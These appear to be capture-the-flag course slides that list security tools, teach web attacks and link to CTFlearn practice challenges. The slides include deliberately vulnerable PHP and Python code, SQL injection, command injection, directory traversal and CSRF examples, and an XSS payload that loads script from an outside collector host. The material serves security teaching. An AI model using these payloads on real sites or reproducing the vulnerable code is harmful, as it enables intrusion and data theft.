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I
Overview

Some feedback from students. Won’t be too much detailed contents, but instead
some index and materials for this week.

Outline:

I Toolkit

I Web Tutorial

I Database Sketch

I Challenges
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I
Toolkit

虚拟化分析环境

I VirtualBox

I QEMU

I Docker

I VMware
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I
Toolkit

静态分析工具

I radare2

I IDA Pro

I JEB

I Capstone

I Ghidra
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I
Toolkit

动态分析工具

I GDB

I OllyDbg

I WinDbg

I LLDB
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I
Toolkit

其他工具

I pwntools

I zio

I metasploit

I binwalk

I Burp Suite

I Wireshark
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I
Toolkit

Some online toolkit collection:

I https://www.ctfhub.com/#/tools

I https://tools.kali.org/tools-listing

I https://tool.bugku.com/
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Web

How websites work?

Through HTTP / HTTPS protocol.
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I
Web

How websites work?
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I
Web

How websites work?

Client: web browsers / cURL / other user agents

Server: web servers

Proxy: CDN / mirrors
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Web

HTTP

HTTP is simple

HTTP is extensible

HTTP is stateless (but not session less)

HTTP and connections
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Web

HTTP
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Web

HTTP
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Web

HTTPS

HTTPS (HyperText Transfer Protocol Secure) is an encrypted version of the HTTP
protocol. It uses SSL or TLS to encrypt all communication between a client and a
server.
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Web

Packet sniffing

Burp Suite / Fiddler
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Web

Web exploiting

SQL Injection

Command Injection

Directory Traversal

Cross Site Request Forgery

Cross Site Scripting

Server Side Request Forgery
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I
Web

SQL injection

<?php

....$username = $_GET[’username’]; // kchung

....$result = mysql_query("SELECT * FROM users WHERE
username=’$username’");

?>
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I
Web

SQL injection

Solution
’ OR 1=1

SELECT * FROM users WHERE username=” OR 1=1

We can also inject comments and termination characters like – or /* or ;. This allows
you to terminate SQL queries after your injected statements. For example ’– is a
common SQL injection payload.

Solution
SELECT * FROM users WHERE username=”– ’
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Web

Command injection

Solution
import os

domain = user_input() # ctf101.org

os.system(’ping ’ + domain)
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Web

Command injection

Solution
ping ; ls

ping xxx.xxx.xxx.xxx 4 packages. . .

flag ping.py result
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Web

Directory traversal

<?php

....$page = $_GET[’page’]; // index.php

....include("/var/www/html/" . $page);

?>
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Web

Directory traversal

Solution
include("/var/www/html/../../../../../../../../etc/passwd");

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

22



I
Web

CSRF

HTML attributes <img> <iframe>

http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]

<img
src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]"
width="0" height="0" border="0">
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Web

XSS

https://ctf101.org?data=<script>alert(1)</script>

<html>

<body>

<script>alert(1)</script>

</body>

</html>
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Web

XSS Platform

https://xsshunter.com/

"><script src=https://enderaoe.xss.ht></script>
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Web

Chrome / Firefox developer tools
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Web

Website analysis

I Source code

I Directory brute force

I CVE search

I Database scan
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I
Web

《白帽子讲Web安全》

《TCP / IP 协议详解》

《无线网络安全攻防实战》
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I
Database Sketch

https://book.hacktricks.xyz/pentesting-web/nosql-injection

https://book.hacktricks.xyz/pentesting-web/sql-injection
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I
Challenges

https://compass.ctfd.io/challenges#My%20Blog-133

My Blog - 4 pt

Hi, I’m Noxtal! I have hidden a flag somewhere in my Cyberworld (AKA blog)... you
may find a good application for your memory. ;)

Note: This is my real website (thus no deadly bug to exploit here). You might want to
read some of my content (writeups, tutorials, and cheatsheets). I would be glad to
receive any kind of feedback.

Click here to access it, have fun checking my blog out! Cheers!

Hint: replace the flag part with CTFlearn.

https://noxtal.com/
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Challenges

https://compass.ctfd.io/challenges#Basic%20Injection-129

Basic Injection - 6 pt

See if you can leak the whole database using what you know about SQL Injections.
link

Don’t know where to begin? Check out CTFlearn’s SQL Injection Lab

https://web.ctflearn.com/web4/
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Challenges

https://compass.ctfd.io/challenges#Gobustme%20%F0%9F%91%BB-135

Gobustme - 6 pt

Some ghosts made this site, it’s a little spooky but theres a bunch of stuff hidden
around.

gobustme.ctflearn.com
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Challenges

https://compass.ctfd.io/challenges#POST%20Practice-130

POST Practice - 8 pt

This website requires authentication, via POST. However, it seems as if someone has
defaced our site. Maybe there is still some way to authenticate?
http://165.227.106.113/post.php
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Challenges

https://compass.ctfd.io/challenges#Don’t%20Bump%20Your%20Head(er)-131

Don’t Bump Your Head(er) - 8 pt

Try to bypass my security measure on this site! http://165.227.106.113/header.php
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Challenges

https://compass.ctfd.io/challenges#Calculat3%20M3-134

Calculat3 M3 - 16 pt

Here! http://web.ctflearn.com/web7/ I forget how we were doing those calculations,
but something tells me it was pretty insecure.
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Challenges

https://compass.ctfd.io/challenges#Inj3ction%20Time-132

Inj3ction Time - 20 pt

I stumbled upon this website: http://web.ctflearn.com/web8/ and I think they have
the flag in their somewhere. UNION might be a helpful command
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Challenges

https://compass.ctfd.io/challenges#AudioEdit-136

AudioEdit - 32 pt

I made this cool site for editing audio files. Can you exploit it?
http://web.ctflearn.com/audioedit/
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Challenges

https://compass.ctfd.io/challenges#Grid%20It!-137

Grid It! - 32 pt

Can you bypass the security measures on the site and find the flag? I doubt it.
http://web.ctflearn.com/grid
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